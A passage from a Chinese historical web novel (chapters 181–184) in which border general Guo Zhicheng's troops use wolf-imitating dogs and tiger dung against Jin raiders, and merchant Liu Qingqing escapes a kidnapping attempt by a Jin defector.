武教头瞬间暴起,一肘子砸在张袍俀的太阳穴上,可惜因没了鞋穿,寒气顺着脚底板钻到他头顶心,他也没有多少力气,只是将张袍俀砸在地上,昏了过去。 他正要扑上去补上一肘子,张袍俀已经被卡里的鞭子卷走。 卡里惋惜的砸了咂嘴,没用的软蛋昏了过去,不能立刻知道布防图,可恨! 布防图在软蛋的脑子里,倒要保他一条命,他摆摆手,身后随从将抢去的裘衣棉袄皮靴丢出来,分了一匹驽马给他们。踹了小童一脚,示意他快伺候张袍俀穿衣,度一口烧酒。 小童摸了摸手忙脚乱把张袍俀穿戴好,托在马背上。 今日收获真是极大,只要布防图出来,边城如囊中之物。卡里激动得眼白发红,不停搓着手中的马鞭,亲自带人将张袍俀围在中间,夹腿跑马,至于剩下的赵人,他留下一个小队,等他们走远些就地格杀。 只要过了今夜,这些没用的赵人会被狼群啃得尸骨无存。 也是武教头等人命不该绝,在他们走后一刻钟,郭志城领着人杀了过来,将剩余的金人杀了个片甲不留。 众人小命这样一波三折,逃出生天,瞬间热泪盈困。 武教头晓得事态紧急,三言两语把布防图一事抖落出来,哭丧着脸为自己主子辩解:“将军,张袍俀这厮在京城人模狗样,花言巧语赚了我家大人信任,得了这个差事,我家大人也被他蒙蔽了,不晓得他内里竟如此胆小怂囊,也不晓得他何事竟然偷偷看到藏在书房里的布防图,您放心,我家大人一定亲手清理门户,给你个交代!” 得知前因后果,郭志城大骂文人误国,如此机密的图纸,既然随意给不相干的人看。悲从中来,全是对前路的担忧绝望。赵国国策重文轻武,高高在上不知民间疾苦的文臣事事插手,粮草他们要管一管,布防警戒他们要过问,守城仰或出兵要征得他们的同意,这样的仗如何打得赢! 心中悲愤气极,他也想找个地方嘶吼几声一走了之,只是边城几万人老弱病残为边城添砖加瓦,为加固城墙干得热火朝天,他这样一走了之,实在过不去良心上那一关。 郭志城大喝一声:“儿郎们,只要金人知晓布防图,我们只有死路一条,如今之际唯有出兵奇袭,打金人一个措手不及,以进为退,才可获得一线生机。尔等可敢跟我一起,不再受这样的鸟气,痛痛快快去和金人杀一场,割了他们的头颅,宰了他们的牛羊?” 众将士齐声大喝:“杀……杀……杀……” 武教头弱弱的抓住郭志城:“将,将军,布防图泄露,重新布防就是,莫要意气用事!这,守城变出兵,朝廷还要讨论一二。” 郭志城一脚把他踹飞:“你知道个球,重兵守卫之地都是要塞之处,要是能换防,还要守个屁!” “二郎们,我们走,这就宰了那些个畜生去。”【你现在阅读的是 】 180-190 第181章 第181章真假狼群 “嗷呜……” “嗷呜嗷呜……” 此起彼伏的狼嚎在前面想起,雪夜里,灰狼幽绿的眼睛让人胆战心惊,前方一团灰色,约摸有五六十个影子左右游走。座下久经战场的宝马停下脚步迟疑着不愿往前走,不安的蹬着后腿。 卡西暗道晦气,留下收尾的小队动手太早,血腥味竟把狼群引来了,恰堵在他们前面。 绕走是不可能的,狼群这种生物,越是示弱,它们越发得寸进尺,死咬着不放,唯一一条路便是一举歼灭,方可解后患。 他微微举起右手,身后的武士们跳下战马提着弯刀扑了上去。 那边头狼好似感受到他们的杀气,又嗷呜叫了一声,狼群得了指令,掉头就跑,潮水般退去,躲开武士的攻击范围。 狼群吓退,卡里不恋战,继续赶路,哪知那天杀的狼群又围了上来。 如此反复了两三次,卡里的火气上来了,这群短命的畜生,真是老寿星上吊——嫌命太长,竟敢戏耍奔王子,非要把它们斩草除根不可。 卡西稳座高头大马,冷冷吐出几个字:“杀无赦!” 武士们被引着跑了好几里,气息不稳,一肚子的邪火没处发,对面狼群再次出现,他们嗷呜的冲刺,正要一刀一只结果了这群畜生,突兀的出现了一条绊马索,一伙子武士避让不及,摔倒了大半,然后侧面雪堆里飞出无数箭矢,没有防备的金人瞬间被扎成了刺猬,即便是卡里王子,也被受惊的战马甩飞起来,要不是他马上功夫了得,只怕就栽在这里。 好贼囊,竟是赵人的奸计。 待扛过这波攻击,他收整队伍正要打回去,那伙矮矬子看见他们近前,吓得慌脚鸡一般,从雪堆里跳出来,逃之夭夭。 卡里派人清点损伤,修整队伍,一脚踹飞一只箭矢,心下嗤骂,赵人胆小如鼠,只敢弄些见不得人的卑劣手段。 跑到安全区域的郭守云,示意身后跟着的百人小队隐蔽躲藏,他赞许的拍拍棉花黑炭的头颅,其实它们根本不是什么野狼,嚎叫的只有棉花黑炭,剩下的都是狗狗们,当然,他也时不时配合着发出几声不同的狼叫,配合着狗狗们的身形,引着金人耗费体力。 且说卡里副官来报,竟然有五六十人中箭受伤,好在天寒地冻,勇士们穿着厚实,仅是些皮外伤,不伤筋动骨。 此战太过窝囊,打得一肚子憋闷。 卡里可看清了,赵人不晓得使了什么手段,哄弄得狼群听他们的话,不停来叨扰队伍,而他们远远的埋伏攻击,没有损伤一兵一卒,这样下去,敌方不停骚扰,我方不断受伤,此消彼长,大大的不利。 大家都没说,但是头顶都盖上了一层更严重的阴霾。 金人畜牧为生,他们一伙子武士不惧怕狼群,然而普通牧民却没有他们的身手,他们在草原上四处为家放牧,最恐惧的便是遇到狼群。 倘若卑鄙的赵人赶着狼群深入草原,控制着狼群攻击牧民,那,金人的基层瞬间土崩瓦解,能想象到他们以后在草原四处拯救牧民,奔命扑火得狼狈样。 卡里紧紧捏着手中的弯刀,默默沉思。 之前未见狼群下场,说明赵人掌控狼群没多长时候,许是他们不晓得从哪里寻来一个驯兽师,能操控狼群,这样的人万中无一,他们肯定也没寻到几个。 趁着驯兽技术尚未传播开来,杀,必须不顾一切代价,绞杀这群控制着狼群的赵人,准确来说,是里头操控着狼群的驯兽师。 卡里抓起腰间的酒囊微微抿了一口,冰凉的液体顺着食道冲进胃里,火辣辣的灼烧起来,带来的烈焰蒸腾他的脑子,让冻僵的思绪活络起来。 他应该先回大本营,还是立刻追杀驯兽师? 副官带来个好消息:“王子,我们在赵人藏身的额,雪窝子寻到些稻草,箭矢,还有零星的……食物。” 食物! 卡里眼前一亮,赵人青黄不接,那金人就是食不果腹,无以为继了。 粮食,烈酒是雪原上的必需品。 赵人在雪地里打了个洞,顺着洞口钻进去,里头能容纳五六个人,靠里是雪块做的高台,上头铺了稻草,想来是躺卧休息的,中间是熄灭了的牛屎火盆,黑灰色的余烬里露出两个淡褐色拳头大小的果子。 火盆旁边还有一只被踩歪的酒囊,封口处裂了一半,湿黑色的地面散发着清冽的酒香,他捡起来晃了晃,里头酒水还剩半个底。 想来是赵人逃走时掉下的。 一进去,寒冷好似被隔绝了一般,好似回到了大帐。 嗯,看样子,赵人在这里埋伏他们许久了。 好家伙,驯兽师赶着狼群引着他们在冰天雪地里遛,赵人弓箭手睡在温暖的雪窝子里,吃着果子,闷一口烧酒,不时嘲笑一下金人像个傻孢子到处跑。 然后以逸待劳等着他们撞上门,若不是赵人的箭矢品质差,只怕他们已经交代了。 卡里被戏耍的恼怒堵在心口,快要把胸膛撑破了。 好好好,好一个赵人,骄奢淫逸,卑鄙无耻。 他从牙齿缝里吐出一个字:“搜!” “给我仔细搜!” 他倒要看看,赵人还留了些什么! 他坐在干草铺就的冰床上,干脆的杆径隔绝了冰床的寒气,暖暖的。 稻草还留着草木特有的清香,他见过这样的植株,那是一颗颗压弯了腰的稻谷,一望无际,阳光下像金子一样迷人。 他吃过赵人的大米饭,粒粒均匀剔透,满口都是迷醉的甜香,也曾费尽手段弄了些种子,抓了些赵人农夫来,可是,这样娇贵的种子只愿在南方肥沃土壤里才肯生根发芽。 他也曾怨恨过老天,为何把肥沃的土地给那群胆小如鼠的矮矬子,自己勤劳的族人只能在风雪交加的草原上忍饥挨冻,实在不公。 这世道强者为尊,老天不公,他便自己用拳头寻得一个公平。 只要穿过边城一路南下,那里是有他们梦寐以求的鱼米之乡,有无数的大米饭,和香甜的鲜果。 他要带着族人踏平这边关,走上一条幸福的康庄路。 副将的声音打断了他的野马般的思绪:“王子,我们在各个雪窝子中寻到了这些!” 地上堆积着一堆拳头大小的果子,褐色的皮,甚至有一个坑坑洼洼,露出里头淡黄色的果肉,卡里捡起这枚果子,疑惑的皱着眉头。 这是什么?以前从未见过。 是什么咬的,看牙印肯定不是人。 副将及时的凑近:“王子,城里的线人送来消息,边城现在已经不缺粮,无论男女老少,每人发一枚这种果子果腹,他们叫做土豆,或蒸或煮或烤皆可。 他们还可以干活换土豆,我们那个线人寻的活计是搬运石头上城墙,干了一整天,另得了四个土豆。” 也就是说,边城弄来了许多土豆作为主粮充饥,而且这东西他们要多少有多少,废人也发放。 狼群突然听他们使唤,难道是因为野狼喜欢吃这个东西? 哦,难怪上面的牙印看着似曾相识,不就是狼牙咬的么。 既然赵人能吃,所以他们肯定也能用来果腹。 卡里微微扬了扬下巴,副将喊来一个小兵试药,小兵白着脸,视死如归捡起一个土豆,掰成两半,露出里头淡黄色的豆肉,大口吞了下去。 嗯,已经冷硬的土豆,入户冰冰的,软软的,沙沙的,带着淡淡的回甘。不晓得热乎的 时候味道会有多好。 吃到肚子里,那种空唠唠的感觉没有了,肠胃充实了起来,他忍不住又捡起一个。 卡里眼皮一动,示意将伺候张袍俀的小童灌下一口裂嘴酒囊里的烧酒。 约摸等了半刻钟,小兵依旧神采奕奕,看不出什么不妥,眼神不时往地上的土豆上瞄,估摸着想再吃几个。小童眼见的不好,又拉又吐,腹痛得满地打滚。 哼! 果然,赵人狡诈,如何会留食物给他们。 那烧酒珍贵量少,还做成不经意落下的样子,想来是为他刻意准备的,他看着奄奄一息的小童,暗道好险,差点着了赵人的道。 吃土豆的小兵,脸上阴晴不定,后怕不已,拍了拍肚子,幸好没事。 副将请示卡里:“酒里有毒,这些土豆恐怕也有问题,安全起见,是不是丢弃?” “先带上,看看再说!” 现在粮草紧缺,他们带着的干粮也没有了,再等等看看小兵的情况,没有问题的话,他们也能垫一垫,天天不是马肉牛骨汤的,实在腻歪得紧。 一行人丢下生死不明的张袍俀书童,扬长而去。 踏上路没多远,后面传来一阵踏雪奔跑声,他扭头一看,狼群裹挟着风雪而来。 好哇,又来,真当爷爷是泥捏的。 一股子恼火从脚后跟窜到了天灵盖,卡里调转马头举起弯刀冲了出去:“杀……” 铜头铁背豆腐腰,卡里一刀一头,狠狠砍在灰狼的腰上,转瞬间送走五六只,他们带着怒火,两个来回全歼狼群,战绩斐然。 这一战,卡里骑马冲刺,对野狼有空中压倒性的优势,毫发无损,其他勇士就没有他这么好的战绩里,有被咬到腿的,有伤到手臂的,有肚子破了个血口子的,总算是除了心头之患,卡里一阵畅快,只是心底闪过一丝疑惑,隐隐觉得哪里不对。 不等他想明白,副手报告后面奔来大队赵兵,是迎敌还是先回大本营? 卡里先前的疑惑找到了归处,原来是让狼群打先锋,只会些邪门歪道的懦弱赵人。 冷笑:“自是打他奶奶的!” 第182章 第182章都是心眼 郭志城救下武教头等人后,发现了远处伺机而动的狼群,边城百姓苦狼群久矣,正打算灭了狼群,郭荣主动献计:“将军,金人恨野狼更甚,不如追赶狼群去对付金人?既消灭了狼群,又削弱了金人的实力,一举两得。” 郭志城嗤笑:“你当野狼是你家的狗,你让它咬谁就咬谁?” 到时候野狼无差别进行攻击,得不偿失。 郭荣被怼也不生气,笑呵呵凑近郭志城:“将军可闻到什么?” 郭志城就着他的胳膊细细一嗅,一股腥臭味扑面而来,差点一口气被送走。一脚踹开他:“好你个郭荣,是不是又两月没洗澡了!” “说了你多少次,要干净利落些,你看看你邋遢成这样,哪家的姑娘愿意嫁你!” 郭荣忙忙摆手:“将军,我十日前才洗的澡,你误会了。这不是我身上的臭味,是这个!” 只见他从腰囊里掏出一个油纸包,小心翼翼剥开,露出里头一团黑漆漆的可疑物。 若之前臭味若隐若现的话,现在那腥臭味便如夏天的雨,兜头浇了过来,全方位360度立体环绕,让人无处可藏。 大家不约而同躲避,瞬间他周围形成了一个真空地带,郭志城捂着鼻:“你个臭小子,捧着一坨粪作甚!” 郭荣笑嘻嘻:“将军,这不是一般的粪,是老虎的粪,郭少东家给我防身的,他说只要在营地周围撒上一小点,狼群便会绕开,不来攻击我们!” 众人面上的怀疑犹如实质。 郭荣解释:“这边动静闹得这么厉害,狼群只远远的跟着,不愿意上前,这便是最好的证据!” 说着,他还捧着粪扭头朝远处的狼群奔去。 遇到主动送上门的肉,狼群怕不生撕了他。 郭志城为他捏了一把汗,示意众人抄家伙跟上,哪知那边的狼群却哄一下,到处散开了。 亲自演示了虎粪的功效,郭荣折起油纸包,宝贝的藏在怀里,颠颠跑来:“将军,少东家交代,狼群鼻子对气味敏感,嗅到这个味道知道是大型野兽,会自动避开,免得正面交锋。但是若退无可退,把它们逼急了,它们也会主动进攻。” 嗯,说人话就是,要给狼群留下逃跑的路线。 郭志城召集几个副将,决定驱赶狼群作为前锋,消耗金人的一部分体力,他们再上,争取一举拿下金人。 稍后战况的发展也想他们预计的那样,金人耗费了些兵力才把狼群剿灭。 不过奇怪的是,不晓得是不是因为金人也缺粮,感觉金人的体力大不如之前,对打时力道远不如前几次持久。郭志城挥舞大刀间不时冒出一丝疑惑。 一个走神,差点被暴怒的卡里劈到肩头,郭志城翻身侧马避开,收回思绪,专心躲避卡里源源不断的攻击。 就是现在,趁着卡里的刀劈在地上还未拔起,郭志城跳下马,横踏在他刀柄上,大刀斜着划过卡里的胸膛。 卡里兵刃被困,无法及时防护,干脆利落放手滚下马,避开这致命一击。 郭志城座下战马通人性,踢踏间踩在卡里收不及的脚面上,只听卡塔脆响,卡里一声闷哼,连续几个翻滚,暂时回到了金人的包围圈。 卡里狠狠吐出一口带血的唾沫,冷笑:“好得很,郭矮子,竟让老子伤了脚,我们来日再战!” 他借着来接应的金人武士之手,两人共骑一乘,疾驰而去。 剩下的金人无心恋战,收拢人员,溃逃而跑。 大家痛打落水狗,追着将后面残兵败将彻底绞杀。 望着逃至天边的金人黑点,不知道是谁喃喃念叨:“我们胜了?” “我们这是胜了!” “胜了!” 看着战士们脸庞上神情,从懵逼到不可置信,又到惊喜。 郭志城喝令收兵,清点整顿。 这一战,绞杀金人八百六十三人,赵人牺牲三百人,另有三百人重伤。 郭志城肚中早有预料,听到了具体数字,忍不住列裂开了嘴,由衷的开心,因金人体型高大威猛,从以往的战后数字分析,赵国需要以二对一,这此竟然反了过来。 小小的胜利不算什么,但是,在鼓舞士气,坚定必胜之念,对整个战局的影响,是不可估量的。 郭志城狠狠地拍了几下郭荣的肩膀:“好,好,好小子!” 郭荣嘿嘿傻笑:“都是虎粪的功劳!” 傻笑完,他又贱兮兮的凑了过来:“将军,趁他病,要他命,我们要不召集大军,杀他们个片甲不留?” 郭志城沉默了,作为一城主将,他考虑得更多。 打仗不是凭着一时意气,他的职责是守护边城,牢牢守着这入关的大门。 他原计划龟缩在边城里,派出精英小队诸逐个消灭散落在旷野的金人,慢慢蚕食他们的力量。两军迟早一战,他要在大战前,尽量多的削弱金人。 “最好的防守就是进攻,我们乘胜追击到金人大本营,出其不意攻其不备,一定能把金人打残。” “金人残了,自然不敢再来骚扰边城……” 一直以来,郭志城的战略方针是被动守城,凭借着边城背靠大山,只需正面迎敌,这样下来,怎么说呢,城是守住了,也只是守住了边城。 金人经常来打草谷,边城他咬不开,便把四周的百姓嚯嚯了一遍,常年以往,四周的百姓要么被他们迫害,要么搬走逃亡。 今年的粮食为何这样紧缺,就是因为边城四周大量的土地闲置,导致边城粮食锐减,又加上大雪封山,关内的粮食进不来。 他注视着被大雪盖住的广袤土地,没有战争的时候,这些白雪下躲着肥嫩嫩的麦苗,只要春天一来,它们便会钻出来肆意生长,直到沉甸甸的麦穗挂满枝头,那是无数小儿爱吃的烤饼,那是能让百姓喜笑颜开的美食。 如今,因为战争,这下面全是荒草。 该死的金人,该死的战争。 他一让再让,可是金人看到他的退让了么?没有。 这些暴殄天物的野人只会烧杀抢虐,只想着霸占赵人辛苦种出的粮食,白瞎了这么好的地。 那,便战吧! 郭志城不是拖泥带水的性子,既然下了决定,便立即执行。 “传令,立刻回城!” 且说卡里回了大营,因脚背骨头断裂,被卡西狠狠嘲笑了一番:“哟,弟弟啊,那些怂包赵人竟然伤了你,快告诉哥哥,是哪个混球动的手,我亲自去抓了他来给你出气!” 卡西嘴上说着关心的话,面上的幸灾乐祸是藏也藏不住,笑得露出了八颗大牙,只差拍手道好了。 卡里冷哼道:“不劳哥哥挂心,赵人哪里伤得到我?我们遇到狼群,我这是被惊马踩了,然后那些赵人乘人之危偷袭我们!” 卡西明显不信,他这个弟弟阴险狡诈了些,但马背上的功夫确实了得,受惊的马能伤了他,他能倒立吃屎。 偏偏大夫说确实是马踩的,不晓得其中有没有什么隐情。手底下的人打探不到什么,他亲自来套问一番。 卡里想的是,赵人操控狼群,让自己吃了一次闷亏 ,有亏大家一起吃,不能吃独食不是。 他状若随意推了推桌上冒着热气的圆子,语气带着炫耀:“哥哥尝一尝,这是我从赵人手中抢来的新粮!不用客气,我那还多得很!你那要缺吃的,我让伴当给你送几袋子去!不能让你那些美人皮包骨肉不是!” 卡西重美色,来打个仗还领着三个美人,大营里缺粮少食,那三个吃白饭的引了很是武士的不满,大家面上不敢说啥,私底下没少蛐蛐。 卡西也知道这一回事,为收买人心,公开命令火房一天只给美人们送一顿午饭,美人饿得晚上都没力气,骑着像劣马,极其没劲。 若是以往,他早就冷哼一声反讥回去:“谁缺你那点猪食!” 可一想到美人缩在他怀里哼哼唧唧喊没力气,他也烦,笑嘻嘻道:“那就替你几个小嫂子谢谢你了!不用多,弄个三袋子就行!” 神他么小嫂子! 卡里腹中怒骂! 面上愕然了一下,然后一副吃了苍蝇般难受的样子:我只是打打嘴炮,你还真当真了! 卡西看他吃瘪,开心咧嘴,连忙安抚:“哦,你这边也没粮食了哈,那行,你随便弄点去就行!” 他状若无意念叨:“你三嫂子揣了崽,实在吃不下营里的肥羊油牛,我看这吃食清爽,你送些去给她试一试。” 卡里心内一惊,小崽子的个数,也是选下一任王的指标呢。 原本以为卡西好美色,原是在这等着他。 嗯,行吧,是你自己要吃的,吃出问题可赖不到人。 他做出烦躁的样子,摆摆手:“赶紧走,我还要养脚呢!” 随从得了他的眼神,连忙将所有收缴来的半袋子土豆都给提了出来,打开口袋,不舍的劝道:“夫人哪里能吃这样粗鄙的食物,我们王子私库里还有些羊奶粉,牛肉干,要不给夫人换一下?” 卡西示意随从夺过袋子,笑道:“你三嫂子就喜这样的野食素品,弟弟有心了!” 一行人扬长而去。 伺候的武士立在卡里身侧,担忧不已:“王子,万一他中了毒,我们不好像大帐交代!” 卡里老神在在喝着现煮的羊奶,嫌弃的撇撇嘴,憋着鼻子一口闷了下去:“我又没下过毒,也没强迫他吃下去,中不中毒的,与我们何干!” “啧,这奶确实腥,等打下边城,弄些茶叶去去腥才有滋味!” 第183章 第183章埋伏 卡西命人将半袋子土豆给三个美人平均分了,顺便每人再送一盘子金银过去,然后躲回自己的营帐。 没办法,三个女人为了他争风吃醋,聚在一起闹得刀光剑影,偏偏最小的那个先揣了崽,老大老二心焦,看见他像看见唐僧肉,巴不得把他吸成人干。 已经连续耕耘多日,圈里的牛都没他努力,如今走路像踩在云端,软绵绵的,今儿接着探望卡西的借口才躲了出去。 他靠在软垫上,惬意的喝上一口热茶,舒服的喟叹一声。 啧,这日子越过越有盼头,自己这边后继有人,兵强马壮,而老二那边呢,折了一批武士不说,自己也折了骨头,能不能恢复如初还不晓得呢。 果然,最大的快乐,就是看见别人不快乐,特别是死对头。 思绪翻飞间,好似他已领着兄弟们踏平边城,赵国国君匍匐在地上请他登上王座,哈哈哈…… 当他左脚踩在黄金王座上,右脚也要踏上去的时候,后面一股拉力猛地将他拽了下来。 卡西吓得一个激灵,耳边传来娇滴滴的声音:“大王,大王!” 入目依旧是黑漆漆的帐篷,哪里还有庄严雄伟的赵国大殿。 原来是黄粱一梦,满心的欢喜化作懊恼。 他转过视线,塌边站了个有些面善的女奴,裹着一件紧紧的袄子,匈铺鼓鼓囔囔的,好似藏了对兔子。 如若以往,他早就饿虎扑食了过去,偏偏今日被打断了最美的梦,即便他再怜香惜玉,也没有好颜色:“你眼瞎么,没看见爷在谋划战事!” 又想着这个女奴到底是三儿身边伺候的人,忍住没上脚踹,耐着性子询问: “三夫人有事?” 他用的是陈述句。 要是这个女奴不能说出正当的理由来,他定然让她知晓,不守规矩主动引诱主人的下场。 三夫人好好的,能有什么事! 女奴随便找了个借口凑上前,原是想勾着大王子调笑取乐,如上天佛神保佑揣个崽,好借机上位。 不晓得哪里出了差错,引得他动怒。 面上的故作娇羞立马变成了惊恐,结结巴巴寻了个借口:“大王带回来的果子很是开胃,清爽开胃,夫人吃完后没有再孕吐,唤奴来找大王再讨要些!” 乖觉的跪在塌边,仰着头眼巴巴的看着卡西。 要是三夫人做出这副可怜样子,卡西早就将人搂在怀里心肝宝贝的叫唤,因三夫人生得娇小玲珑,白嫩可口。 眼前的女奴却丰腴黑胖,做出这样子,实在是,不堪入目。 他忍住的脚终究还是踹了出去:“那个果子爷回头去弄,滚回去好好伺候你家夫人!” 女奴狼狈的地上翻滚了几圈,硬生生把打转的羞耻泪憋了回去,低头退了出去。 被这样一打岔,卡西惊觉,其实自家粮库早见底了,需去赵人那里取些回来。 只是赵人胆小,窝在乌龟壳里不出来,甚是麻烦。 帐篷外等候的参议,及时走了进来,很是为他排忧解难:“殿下,探子来报,边城粮食宽裕,主要就是三夫人喜爱的果子,他们叫它土豆。 殿下有所不知,这些土豆并不是赵廷发派的,是一些赵国商人弄来的,商队首领,叫刘青青,要是我们能将那个刘青青弄来,那就是源源不断的土豆啊。” 卡西来了兴致:“哦,那个刘青青是男是女,现在在哪?” 主要是这名字,听着不像男子。 参议暗搓搓翻了个白眼,大王子什么都好,就是这女色上没边界感。都什么时候了,还要关心对方性别。 主子的嗜好他自是知道,笑道:“殿下好眼力,这刘青青是个女子。” “若能把她绑来,让她见了殿下的英伟雄壮,她肯定哭着喊着当我们的四夫人,到时候一家人,她不是要管着我们的粮草了么?” “只是委屈殿下对一个商女用美男计了。” 卡西扶额叹道:“嗨,只要能让下面勇士们吃饱饭,这委屈我便受了又如何!” “行,现在想办法把人捉来。她在边城么?” 边城修得像个乌龟壳,着实没地下嘴。 城门一时半会打不破,但悄摸摸消失个人,花费些力气还是办得到的,可惜了,这么多年重金培养的暗探。 参议上前一步:“禀 殿下,探子回报,刘青青没在边城,而是在关内。” “我们可以派出最厉害的勇士,悄悄入关,将人带回来。” 哦,真是瞌睡送来枕头哦。 两人头凑着一起商议许久,定下细节。 卡西丢给他一块令牌,“佟参议,这事你干好了,算是大功一件,赏你牛羊万只!” 被叫做佟参议的瘦弱汉子,风霜侵蚀的黑脸上,冒出两行感激的泪水,他激动地单膝跪下,右拳哐哐哐在胸口砸出闷响:“为王子效力,我佟新灶鞠躬精粹!” 又宣誓了一番衷心,没等到其他吩咐的佟参议,捧着令牌退出了帐篷,他默默回到自己的小帐,抓起枕头边匣子里的几块旧银,终是露出一丝渗人的冷笑:“十年了,整整十年了!” 因为刘青青,他赵兴冬当年被流放千里充来戍边,吃了无数的苦头,咽下数不清的血泪,受尽了屈辱,才在大王子身边混了一个小小的参议。 今日,他必踩着刘青青的尸骨,衣锦还乡,重返故乡。 关外剑把弩弓,被战争的阴霾笼罩。 关内一片祥和,刘青青冒着风雪,又筹集了一匹物资,和几个东家一起归拢登册,院子里传来一声砰的声音,众人吓了一跳,起身往外看去,原来积雪压塌了树枝,断裂掉在了地上。 看着天色,已是深夜,几个掌柜收起桌案上的算盘笔墨告辞:“叨扰刘东家到深夜,实在冒昧,我们几个这就告辞,明日再来。” 清脆的声音传来:“哪里的话,我们一起出钱出力,都是为了守护共同的家园,你们放心,我会把账册保管好的。” 说着,刘青青给装账册的匣子上了锁,钥匙递给王掌柜:“这要是王掌柜收着吧,这次筹集物资,除了乡亲们捐赠的家私,里头也有我们凑的银款。” 绸缎庄的孙东家呵呵一笑:“刘掌柜见外了,我们一路走来,都知道彼此的脾性,我们对你的为人是信任至极的。” “做生意么,还是按照规矩的来,一直来都是我保存账册,孙掌柜管着库房,王东家掌着钥匙,莫要坏了规矩才是。” 几个人退让了一番,约好明日天明吃过早食再一起拢账核对账本,王掌柜取了钥匙拴在腰间才告辞出去。 透过窗纸可以看见,里头的人儿趴伏在案几上,勾勾画画半天。 又约摸等了一个时辰,屋里才熄了灯。 初时,还时不时传来被子窸窸窣窣的声音,那是躺在铺上翻身的声音,又过了半个时辰,到处静悄悄的,只剩下雪地映着的光,照着窗子上,蒙亮亮的。 窗纸上戳破了个洞,伸进来一个竹管,冒出了一股让人迷醉的烟,闻了的人越发坠入甜蜜的梦乡。 门被人咯吱推开,闪进两个人影,佟参议亲自带队的卡西亲卫队,摸进了刘青青的院子。 两人借着雪光快速跃到炕上,掀开高高堆起的棉被,举起麻袋正要把人给装进去。 疑,不对。 棉被下不是睡熟的年轻女郎,而是一黑一白两只露出獠牙蓄势待发的大狗狼。 不等他们惊讶拔刀,两只狼狗已经跳起来,张口血盆大口,照着面门扑来。 佟参议这些年赶羊放牛没少和狼群斡旋,熟悉狼群的习性,立马抬起手臂格挡,手臂即刻传来尖锐的痛楚,仔细一看,已经被黑炭弄了一个血窟窿。 另一人是卡西亲卫队的副队长西旺,专职护卫斗殴多年,竟是正面迎敌,化掌为拳击在棉花头上。 以往所向无敌的拳头这次终于碰到了铁头,那是真铁头。 因为棉花黑炭身上都穿了一套特制的铁甲。 那感觉好似打到了铜墙,没把棉花吓退,倒是把自己手骨打折。 吃痛的他捂着手后退,恼怒至极下后退换手拔刀,嘴里不忘讥讽:“我们来了三十个高手,直接将人捆走便是,你非要弄这些下作手段,佟参议虽说从贱民出身,有些习惯还是改改的好!” 又是迷烟,又是麻袋,他们堂堂金国勇士弄成了走街串巷的采花贼,脸都丢完丢尽了。 若不是大王子亲自嘱咐此事关系事大,他早就撂挑子不干了。 事情成了还好,现在问题是,他们在雪夜里趴在房顶冻了大半夜,费尽心机来捉人,对方的人影儿在什么时候不见的都不晓得! 真是晦气,晦气至极。 难道这屋子里有暗室? 不同于金人帐篷一览无遗,佟参议从南边来,自是知晓赵人的居住习惯。 两人晾了武器,冰冷的刀背印着雪光泛着渗人的寒光,棉花黑炭两只狗狗对视一眼,掉头便跑,西旺还想追击,被佟参议:“旺队长歇歇吧,你两只脚的人,何苦跟四只脚的畜生计较!” 看着西旺已经不能动的右手,佟参议心内大快,却作关心状:“要不,我给你正正骨?” 第184章 第184章逃走 两人边唇枪舌战,边翻箱倒柜,将可以藏人的地方都搜了一遍,连根头发丝都没找到。 奇怪了,明明他们看到灯下人影的。 佟参议走到书桌前,刀柄砸开匣子,里头哪里有什么账本,只是几张废纸。他还在书桌上发现了一撮白毛。 好家伙,这两只掉毛狗成了精,竟会扮演刘青青迷惑他们。 西旺无头苍蝇搬乱敲,试图找出空心的墙壁或者地面:“真是见鬼了,她到底藏在哪?” 佟参议闭目仔细复盘回忆,那会屋子里声音约摸有三四人,告辞离去的好似四人,天气寒冷,那几人包裹得严严实实,虽高矮不一,但都挺着油肚,身材壮硕臃肿,典型赵人富商模样。 大家伙随意扫了那几人一眼,又把视线放回窗内桌案前单薄身影上。 他恼火的扫翻桌上的烛台,刘青青就那会趁机和几个富商一起离开的。 她先用对话给他们造成错觉,让人以为只是其他商人离开,她自己要休息。 然后让白狗假装成她自己,在灯下留下影子,拖住他们在这里苦等! 一招瞒天过海的计策耍得他们团团转。 好得很,好得很。经年不见,这刘青青越发诡计多端,奸诈狡猾。 他不得不得出一个他不愿意相信的结论:其实人影是狗子假扮的,刘青青早就脱身离开了。 佟参议冷冷讥讽:“莫要白费功夫了,人已经走了,不用再敲了。” 西旺瞥他一眼,不服气:“她从哪里走的,我如何没看见!”刀柄依旧在满面墙砖上敲得咚咚响。 佟参议深吸一口冷气,浇灭一肚子的烦躁,心内默念莫要和傻子计较。瓮声瓮气解释:“那些富商离开时,刘青青已经混在里头,第二个,脚最小那个就是。” 他当时一眼扫过雪地里的脚印,感叹这人脚码有些小,和肥硕健壮的身材有些违和,他没做多想,此刻分析,那人定是刘青青假扮的,她是用衣服填充让身材变得臃肿,这么些年肯定也长高了许多,但女子脚掌偏小,是没办法假装的。 得了解释的西旺,鼻子不是鼻子,嘴巴不是嘴巴,用眼白斜着他:“既是如此,为何当时不直接把她拿下?白让老子冻了两个时辰。” “你是不是知晓我腿受过冻伤,存心报复我?”说完用鼻子怼着他,大有一个答不对就干他的架势。 不是,他不是也冻了两个时辰么。 佟参议张了张嘴想解释,却不晓得该说什么,解释他不如刘青青聪明,被人耍了么? 一肚子的话语在肚子舌头上打了几个转,最后化成了一声嗤笑。 真的,他有些时候挺羡慕西旺的精神状态,自己就是最棒的,最聪明的,一切错误都是别人的,从不内耗。 最后,他只能安抚:“我们同在大王子麾下效力,大家伙都互相关照,如何能为难与你,是那刘青青诡计多端,我也被她蒙骗了去。” “什么诡计多端,你直接说你不如那小女郎聪明呗!” “我就觉得你多此一举,我们三十个高手,做什么和她玩躲猫猫的把戏,直接捆了就是,现在,哼,人都弄丢了,不晓得去哪里捆!” 心塞的佟参议:“……” 你是不是忘记,我们现在在大赵的村寨里,若是暴露了身份,莫说三十个高手,三百个高手都要淹没在这些民夫村妇的锄头犁耙下。 和头脑简单,四肢发达的人打交道,真累。 回家,一定要回家,还是赵人聪明一些,他要是再在金帐呆下去,一定会被这些蠢东西气死。 他又说了些软化,哄着西旺顺了毛,手指放在嘴里呼了一声,招呼手下进屋暖和暖和,收拢人心这一块,他一向有的是手段和力气。 安排八个有经验的斥候去打探刘青青等人潜逃的踪迹,他不慌不忙领着一干人摸到了厨房,每日间不是肉干就是马奶的,实在腻得慌。没打起来的时候,他经常装扮一番到边城弄些吃喝的,这半年来,两方交战,可苦了五脏庙,刘青青这厮吃嘴上从不亏待自己,这里必有些好东西,弄点干粮带着身上也好。 